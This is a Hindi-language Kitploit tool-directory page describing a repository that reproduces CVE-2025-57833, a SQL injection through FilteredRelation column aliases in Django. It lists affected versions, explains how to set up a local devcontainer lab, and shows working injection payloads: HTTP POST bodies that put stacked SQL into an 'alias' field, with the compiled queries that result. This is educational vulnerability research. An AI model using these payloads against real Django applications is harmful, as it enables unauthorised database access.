Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-57833 — Analysis and reproduction of CVE-2025-57833 | Kitploit
उपकरण/GitHubGitHub/sw0rd1ight/cve-2025-57833
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationDatabase Security
GitHubsw0rd1ight/cve-2025-57833

CVE-2025-57833

Analysis and reproduction of CVE-2025-57833

रिपॉजिटरी देखें
68 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Django FilteredRelation Alias SQL इंजेक्शन भेद्यता (CVE-2025-57833)

Django एक वर्ष बाद पता चला SQL इंजेक्शन भेद्यता, मोटे तौर पर यह उपनाम के कारण होने वाला इंजेक्शन है (क्योंकि उपनाम को प्रीकंपाइल नहीं किया जा सकता)

यह भेद्यता Django फ्रेमवर्क में FilteredRelation सुविधा को प्रभावित करती है, जब QuerySet.annotate() या QuerySet.alias() विधियों का उपयोग किया जाता है, और पायथन के डिक्शनरी विस्तार (**kwargs) के माध्यम से कॉलम उपनाम प्रदान किए जाते हैं, तो SQL इंजेक्शन का जोखिम होता है। ऐसा इसलिए है क्योंकि डिक्शनरी कुंजियों (अर्थात कॉलम उपनाम) का पर्याप्त सत्यापन नहीं किया जाता है, जिससे हमलावर बिना प्रतिबंधित SQL स्टेटमेंट को इंजेक्ट करने के लिए दुर्भावनापूर्ण डिक्शनरी का निर्माण कर सकता है

इस भेद्यता का प्रभाव क्षेत्र है

  • Django 4.2 से पहले के 4.2.24 संस्करण
  • Django 5.1 से पहले के 5.1.12 संस्करण
  • Django 5.2 से पहले के 5.2.6 संस्करण

वातावरण प्रारंभ

यह भेद्यता परियोजना vscode के devcontainer का उपयोग करके बनाई गई है

1️⃣ परियोजना खोलें VS Code के साथ पहले से मौजूद परियोजना रूट डायरेक्टरी (.devcontainer फ़ोल्डर सहित) खोलें।

2️⃣ कंटेनर को पुनः खोलें (Dev Container बनाएं)

Ctrl+Shift+P (Windows/Linux) या Cmd+Shift+P (Mac) दबाएं

Remote-Containers: Reopen in Container टाइप करें

VS Code .devcontainer कॉन्फ़िगरेशन पढ़ेगा और कंटेनर बनाएगा (पहली बार बनाने में कुछ मिनट लग सकते हैं)

⚠️ यदि Dockerfile या निर्भरताएं अपडेट की गई हैं, तो Remote-Containers: Rebuild Container चुनें, यह सुनिश्चित करने के लिए कि नवीनतम वातावरण का उपयोग किया जाए।

3️⃣ Django डेवलपमेंट सर्वर चलाएं

कमांड पैनल Ctrl+Shift+P खोलें

Tasks: Run Task टाइप करें

django:start चुनें (कार्य .vscode/tasks.json में कॉन्फ़िगर किया गया है)

यह कार्य कंटेनर के अंदर Django डेवलपमेंट सर्वर शुरू करेगा

डिफ़ॉल्ट रूप से 0.0.0.0:8085 पर सुनता है

4️⃣ ब्राउज़र खोलें और परियोजना तक पहुंचें

ब्राउज़र खोलें और निम्नलिखित URL पर जाएं:

http://localhost:8085

5️⃣ ध्यान देने योग्य बातें

पहली बार चलाने पर:

डेटाबेस माइग्रेशन निष्पादित करने की आवश्यकता हो सकती है:

root@kitploit:~
python manage.py migrate

सर्वर शुरू होने के बाद http://localhost:8085 तक पहुंचें

भेद्यता का पुनरुत्पादन

/book/search एंडपॉइंट तक पहुंचें, सामान्य रूप से पहुंचें

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX","author":"Bob"}

इस समय Django ORM द्वारा संकलित SQL है

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0

यह देखा जा सकता है कि vuln_author तालिका का एक उपनाम XXX बनाया गया है, उपरोक्त पैच विश्लेषण के आधार पर यह ज्ञात है कि वर्तमान में XXX पर कोई फ़िल्टर नहीं किया गया है, इसलिए इसमें इंजेक्शन किया जा रहा है।

सीधे स्टैक इंजेक्शन का उपयोग करने पर, पिछला पहला SQL अमान्य होने के कारण दूसरे SQL तक नहीं पहुंचा जाएगा

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX;select user --","author":"Bob"}

इसलिए पहले स्टेटमेंट को वैध बनाना आवश्यक है, यहां चूंकि यह संबंध है, इसलिए सीधे using सिंटैक्स का उपयोग करें

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":" using(id);select user --","author":"Bob"}

इस प्रकार इंजेक्शन सफल होता है, डेटाबेस का निष्पादन उपयोगकर्ता postgres पाया गया, इस समय सफलतापूर्वक संकलित SQL स्टेटमेंट है

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author"  using(id);select user -- ON ("vuln_book"."author_id" =  using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE  using(id);select user --."id" > 0

संदर्भ

  • https://xz.aliyun.com/news/19236
  • https://mp.weixin.qq.com/s/e2FgAk2odugNH9K8_kDsAg
  • https://nvd.nist.gov/vuln/detail/CVE-2025-57833
  • https://docs.djangoproject.com/en/dev/releases/security
  • https://groups.google.com/g/django-announce
टूल डाउनलोड करें